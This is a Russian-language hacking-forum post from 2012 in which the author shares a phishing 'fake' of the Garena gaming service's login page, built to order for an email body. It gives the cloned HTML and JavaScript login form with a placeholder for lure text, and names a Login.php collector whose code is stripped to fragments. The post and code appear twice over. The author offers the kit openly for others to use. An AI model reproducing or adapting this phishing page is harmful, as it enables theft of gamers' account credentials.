BlackForest
09.07.2012, 01:00
Недавно поступил заказ на фейк в теле письма Garena, и вот написал небольшой фейк на этот сервис.
Выкладываю в паблик потому, что писал фейк минут 10, так что строго не судите. В теле фейки я писать не очень люблю.
Скрин:IMAGE (https://hpc.name/redirector.html#http://i061.radikal.ru/1207/52/cc1ce6e04982.png) http://i061.radikal.ru/1207/52/cc1ce6e04982.png
Сам код:
HTML highlight
Garena - Connecting world gamers
.registration div p {padding: 0 0 5px;}
.recaptchatable #recaptcha_response_field {background:white;}
google.load("jquery", "1.5.0");
function logout() {
if(confirm('Sure to log out?'))
{
var loading_holder = document.getElementById("member_panel");
window.location='http://intl.garena.com/logout/';
}
}
var password_check = false;
function check_username(){
if(document.frmLoginUI.username.value=="") {
document.frmLoginUI.username.value="Enter your username here ...";
document.getElementById("id_username_response").style.display = "none";
}
}
function onPasswordFocus(){
document.frmLoginUI.password.value="";
document.frmLoginUI.lPasswordLabel.style.display = "none";
document.frmLoginUI.password.style.display = "";
document.frmLoginUI.password.focus();
}
function check_password(){
var password = document.frmLoginUI.password.value;
if(password == ""){
document.frmLoginUI.lPasswordLabel.value = "Enter password here ...";
document.frmLoginUI.lPasswordLabel.style.display = "";
document.frmLoginUI.password.style.display = "none";
password_check = false;
return false;
}
if (password == "1234567890") {
password_check = false;
return false;
}
password_check = true;
return true;
}
function validate(){
check_username();
check_password();
username = document.frmLoginUI.username.value;
userpass = document.frmLoginUI.password.value;
rememberme = document.frmLoginUI.rememberme.checked;
if (username == "Enter your username here ...") {
alert('Please enter username!');
return false;
}
if (password_check == false){
alert('Please enter password!');
return false;
}
var loading_holder = document.getElementById("loading_holder");
loading_holder.className = "loading";
loading_holder.innerHTML = "
We are logging you in... Please wait.";
document.frmLoginUI.password.value = RSA(document.frmLoginUI.password.value);
return true;
}
function keyIsPressed(evt) {
var charCode = (evt.which) ? evt.which : evt.keyCode
if( charCode == 13 ) {
validate();
}
return true;
}
$(document).ready(function(){
$('#id_username').blur(function(){
check_username();
});
$('#id_username').focus(function(){
if(document.frmLoginUI.username.value=="Enter your username here ...")
document.frmLoginUI.username.value="";
});
});
Login
ЗДЕСЬ ВАШ ТЕКСТ
Enter desired username
Enter your password
Login.php
PHP highlight
";
?>
Фейк, конечно примитив, писал я его, как уже сказал, минут 10, поэтому и выкладываю в паблик. Толку мне от него ноль, может кому-нибудь пригодится.
Выкладываю в паблик потому, что писал фейк минут 10, так что строго не судите. В теле фейки я писать не очень люблю.
Скрин:IMAGE (https://hpc.name/redirector.html#http://i061.radikal.ru/1207/52/cc1ce6e04982.png) http://i061.radikal.ru/1207/52/cc1ce6e04982.png
Сам код:
HTML highlight
Garena - Connecting world gamers
.registration div p {padding: 0 0 5px;}
.recaptchatable #recaptcha_response_field {background:white;}
google.load("jquery", "1.5.0");
function logout() {
if(confirm('Sure to log out?'))
{
var loading_holder = document.getElementById("member_panel");
window.location='http://intl.garena.com/logout/';
}
}
var password_check = false;
function check_username(){
if(document.frmLoginUI.username.value=="") {
document.frmLoginUI.username.value="Enter your username here ...";
document.getElementById("id_username_response").style.display = "none";
}
}
function onPasswordFocus(){
document.frmLoginUI.password.value="";
document.frmLoginUI.lPasswordLabel.style.display = "none";
document.frmLoginUI.password.style.display = "";
document.frmLoginUI.password.focus();
}
function check_password(){
var password = document.frmLoginUI.password.value;
if(password == ""){
document.frmLoginUI.lPasswordLabel.value = "Enter password here ...";
document.frmLoginUI.lPasswordLabel.style.display = "";
document.frmLoginUI.password.style.display = "none";
password_check = false;
return false;
}
if (password == "1234567890") {
password_check = false;
return false;
}
password_check = true;
return true;
}
function validate(){
check_username();
check_password();
username = document.frmLoginUI.username.value;
userpass = document.frmLoginUI.password.value;
rememberme = document.frmLoginUI.rememberme.checked;
if (username == "Enter your username here ...") {
alert('Please enter username!');
return false;
}
if (password_check == false){
alert('Please enter password!');
return false;
}
var loading_holder = document.getElementById("loading_holder");
loading_holder.className = "loading";
loading_holder.innerHTML = "
We are logging you in... Please wait.";
document.frmLoginUI.password.value = RSA(document.frmLoginUI.password.value);
return true;
}
function keyIsPressed(evt) {
var charCode = (evt.which) ? evt.which : evt.keyCode
if( charCode == 13 ) {
validate();
}
return true;
}
$(document).ready(function(){
$('#id_username').blur(function(){
check_username();
});
$('#id_username').focus(function(){
if(document.frmLoginUI.username.value=="Enter your username here ...")
document.frmLoginUI.username.value="";
});
});
Login
ЗДЕСЬ ВАШ ТЕКСТ
Enter desired username
Enter your password
Login.php
PHP highlight
";
?>
Фейк, конечно примитив, писал я его, как уже сказал, минут 10, поэтому и выкладываю в паблик. Толку мне от него ноль, может кому-нибудь пригодится.